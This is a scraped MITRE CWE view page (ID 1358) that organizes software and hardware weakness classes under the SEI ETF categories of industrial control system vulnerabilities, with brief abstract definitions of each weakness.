CWE - VIEW SLICE: CWE-1358: Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS (4.16)

CWE VIEW: Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS

View ID: 1358

Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
Type: Graph

Downloads: Booklet | CSV | XML

Objective

CWE entries in this view (graph) are associated with the Categories of Security Vulnerabilities in ICS, as published by the Securing Energy Infrastructure Executive Task Force (SEI ETF) in March 2022. Weaknesses and categories in this view are focused on issues that affect ICS (Industrial Control Systems) but have not been traditionally covered by CWE in the past due to its earlier emphasis on enterprise IT software. Note: weaknesses in this view are based on "Nearest IT Neighbor" recommendations and other suggestions by the CWE team. These relationships are likely to change in future CWE versions.

Audience

Stakeholder	Description
Hardware Designers	ICS/OT hardware designers can use this view to ensure a minimal set of weaknesses that should be avoided or mitigated during the design process.
Product Vendors	Product vendors can use this view to ensure that all aspects of the product lifecycle address these weaknesses.
Assessment Tool Vendors	Assessment tool vendors that help to assess potential weaknesses, or avoid them, can use this view to improve their tool's coverage to address more weaknesses.
Academic Researchers	Academic researchers can use this view to identify potential research opportunities that could produce better methods for detection or avoidance of weaknesses in ICS/OT products.

Relationships

div.collapseblock { display:inline }

The following graph shows the tree-like relationships between weaknesses that exist at different levels of abstraction. At the highest level, categories and pillars exist to group weaknesses. Categories (which are not technically weaknesses) are special CWE entries used to group weaknesses that share a common characteristic. Pillars are weaknesses that are described in the most abstract fashion. Below these top-level entries are weaknesses are varying levels of abstraction. Classes are still very abstract, typically independent of any specific language or technology. Base level weaknesses are used to present a more specific type of weakness. A variant is a weakness that is described at a very low level of detail, typically limited to a specific language or technology. A chain is a set of weaknesses that must be reachable consecutively in order to produce an exploitable vulnerability. While a composite is a set of weaknesses that must all be present simultaneously in order to produce an exploitable vulnerability.

Show Details:

Expand All | Collapse All

1358 - Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Communications - (1359)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications)

Weaknesses in this category are related to the "ICS Communications" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Communications: Zone Boundary Failures - (1364)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures)

Weaknesses in this category are related to the "Zone Boundary Failures" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Within an ICS system, for traffic that crosses through network zone boundaries, vulnerabilities arise when those boundaries were designed for safety or other purposes but are being repurposed for security." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Removal of Sensitive Information Before Storage or Transfer - (212)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 212 (Improper Removal of Sensitive Information Before Storage or Transfer)

The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 268 (Privilege Chaining)

Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.

Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Privilege Management - (269)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 269 (Improper Privilege Management)

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 287 (Improper Authentication)

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. authentification AuthN AuthC

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Authentication Bypass Using an Alternate Path or Channel - (288)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 288 (Authentication Bypass Using an Alternate Path or Channel)

The product requires authentication, but the product has an alternate path or channel that does not require authentication.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Authentication for Critical Function - (306)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 306 (Missing Authentication for Critical Function)

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 362 (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Race Condition

Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. Session Fixation - (384)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 384 (Session Fixation)

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unrestricted Upload of File with Dangerous Type - (434)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 434 (Unrestricted Upload of File with Dangerous Type)

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment. Unrestricted File Upload

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 494 (Download of Code Without Integrity Check)

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 501 (Trust Boundary Violation)

The product mixes trusted and untrusted data in the same data structure or structured message.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 668 (Exposure of Resource to Wrong Sphere)

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 669 (Incorrect Resource Transfer Between Spheres)

The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 754 (Improper Check for Unusual or Exceptional Conditions)

The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Inclusion of Functionality from Untrusted Control Sphere - (829)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 829 (Inclusion of Functionality from Untrusted Control Sphere)

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Isolation of Shared Resources on System-on-a-Chip (SoC) - (1189)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 1189 (Improper Isolation of Shared Resources on System-on-a-Chip (SoC))

The System-On-a-Chip (SoC) does not properly isolate shared resources between trusted and untrusted agents.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 1263 (Improper Physical Access Control)

The product is designed with access restricted to certain information, but it does not sufficiently protect against an unauthorized actor with physical access to these areas.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Non-Transparent Sharing of Microarchitectural Resources - (1303)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 1303 (Non-Transparent Sharing of Microarchitectural Resources)

Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1364 (ICS Communications: Zone Boundary Failures) > 1393 (Use of Default Password)

The product uses default passwords for potentially critical functionality.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Communications: Unreliability - (1365)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability)

Weaknesses in this category are related to the "Unreliability" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Vulnerabilities arise in reaction to disruptions in the physical layer (e.g. creating electrical noise) used to carry the traffic." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Stack-based Buffer Overflow - (121)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 121 (Stack-based Buffer Overflow)

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function). Stack Overflow

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 269 (Improper Privilege Management)

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Authentication for Critical Function - (306)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 306 (Missing Authentication for Critical Function)

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Acceptance of Extraneous Untrusted Data With Trusted Data - (349)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 349 (Acceptance of Extraneous Untrusted Data With Trusted Data)

The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 362 (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Reliance on Untrusted Inputs in a Security Decision - (807)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 807 (Reliance on Untrusted Inputs in a Security Decision)

The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Protection Against Voltage and Clock Glitches - (1247)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 1247 (Improper Protection Against Voltage and Clock Glitches)

The device does not contain or contains incorrectly implemented circuitry or sensors to detect and mitigate voltage and clock glitches and protect sensitive information or software contained on the device.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 1261 (Improper Handling of Single Event Upsets)

The hardware logic does not effectively handle when single-event upsets (SEUs) occur.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Handling of Faults that Lead to Instruction Skips - (1332)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 1332 (Improper Handling of Faults that Lead to Instruction Skips)

The device is missing or incorrectly implements circuitry or sensors that detect and mitigate the skipping of security-critical CPU instructions when they occur.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Handling of Hardware Behavior in Exceptionally Cold Environments - (1351)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 1351 (Improper Handling of Hardware Behavior in Exceptionally Cold Environments)

A hardware device, or the firmware running on it, is missing or has incorrect protection features to maintain goals of security primitives when the device is cooled below standard operating temperatures.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1365 (ICS Communications: Unreliability) > 1384 (Improper Handling of Physical or Environmental Conditions)

The product does not properly handle unexpected physical or environmental conditions that occur naturally or are artificially induced.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Communications: Frail Security in Protocols - (1366)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols)

Weaknesses in this category are related to the "Frail Security in Protocols" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Vulnerabilities arise as a result of mis-implementation or incomplete implementation of security in ICS implementations of communication protocols." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 121 (Stack-based Buffer Overflow)

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function). Stack Overflow

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 125 (Out-of-bounds Read)

The product reads data past the end, or before the beginning, of the intended buffer. OOB read

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 268 (Privilege Chaining)

Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 269 (Improper Privilege Management)

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 276 (Incorrect Default Permissions)

During installation, installed file permissions are set to allow anyone to modify those files.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 290 (Authentication Bypass by Spoofing)

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Authentication for Critical Function - (306)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 306 (Missing Authentication for Critical Function)

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 311 (Missing Encryption of Sensitive Data)

The product does not encrypt sensitive or critical information before storage or transmission.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 312 (Cleartext Storage of Sensitive Information)

The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Transmission of Sensitive Information - (319)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 319 (Cleartext Transmission of Sensitive Information)

The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 325 (Missing Cryptographic Step)

The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 327 (Use of a Broken or Risky Cryptographic Algorithm)

The product uses a broken or risky cryptographic algorithm or protocol.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 330 (Use of Insufficiently Random Values)

The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 336 (Same Seed in Pseudo-Random Number Generator (PRNG))

A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 337 (Predictable Seed in Pseudo-Random Number Generator (PRNG))

A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 341 (Predictable from Observable State)

A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Acceptance of Extraneous Untrusted Data With Trusted Data - (349)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 349 (Acceptance of Extraneous Untrusted Data With Trusted Data)

The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 358 (Improperly Implemented Security Check for Standard)

The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 362 (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 377 (Insecure Temporary File)

Creating and using insecure temporary files can leave application and system data vulnerable to attack.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 384 (Session Fixation)

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 648 (Incorrect Use of Privileged APIs)

The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 787 (Out-of-bounds Write)

The product writes data past the end, or before the beginning, of the intended buffer. Memory Corruption

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Isolation of Shared Resources on System-on-a-Chip (SoC) - (1189)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 1189 (Improper Isolation of Shared Resources on System-on-a-Chip (SoC))

The System-On-a-Chip (SoC) does not properly isolate shared resources between trusted and untrusted agents.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Non-Transparent Sharing of Microarchitectural Resources - (1303)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 1303 (Non-Transparent Sharing of Microarchitectural Resources)

Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1359 (ICS Communications) > 1366 (ICS Communications: Frail Security in Protocols) > 1393 (Use of Default Password)

The product uses default passwords for potentially critical functionality.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Dependencies (& Architecture) - (1360)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture))

Weaknesses in this category are related to the "ICS Dependencies (& Architecture)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Dependencies (& Architecture): External Physical Systems - (1367)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1367 (ICS Dependencies (& Architecture): External Physical Systems)

Weaknesses in this category are related to the "External Physical Systems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Due to the highly interconnected technologies in use, an external dependency on another physical system could cause an availability interruption for the protected system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Protection Against Voltage and Clock Glitches - (1247)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1367 (ICS Dependencies (& Architecture): External Physical Systems) > 1247 (Improper Protection Against Voltage and Clock Glitches)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1367 (ICS Dependencies (& Architecture): External Physical Systems) > 1338 (Improper Protections Against Hardware Overheating)

A hardware device is missing or has inadequate protection features to prevent overheating.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1367 (ICS Dependencies (& Architecture): External Physical Systems) > 1357 (Reliance on Insufficiently Trustworthy Component)

The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1367 (ICS Dependencies (& Architecture): External Physical Systems) > 1384 (Improper Handling of Physical or Environmental Conditions)

The product does not properly handle unexpected physical or environmental conditions that occur naturally or are artificially induced.

Category - a CWE entry that contains a set of other entries that share a common characteristic. ICS Dependencies (& Architecture): External Digital Systems - (1368)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems)

Weaknesses in this category are related to the "External Digital Systems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Due to the highly interconnected technologies in use, an external dependency on another digital system could cause a confidentiality, integrity, or availability incident for the protected system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. External Control of System or Configuration Setting - (15)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 15 (External Control of System or Configuration Setting)

One or more system settings or configuration elements can be externally controlled by a user.

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. authentification AuthN AuthC

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Authentication for Critical Function - (306)

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.

The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.

A feature, API, or function does not perform according to its specification.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') - (470)

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 470 (Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'))

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. Reflection Injection

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.

1358 (Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS) > 1360 (ICS Dependencies (& Architecture)) > 1368 (ICS Dependencies (& Architecture): External Digital Systems) > 610 (Externally Controlled Reference to a Resource in Another Sphere)

The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.

The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.

The product does not contain sufficient technical or engineering documentation (whether on paper or in electronic form) that contains descriptions of all the relevant software/hardware elements of the product, such as its usage, structure, architectural components, interfaces, design, implementation, configuration, operation, etc.

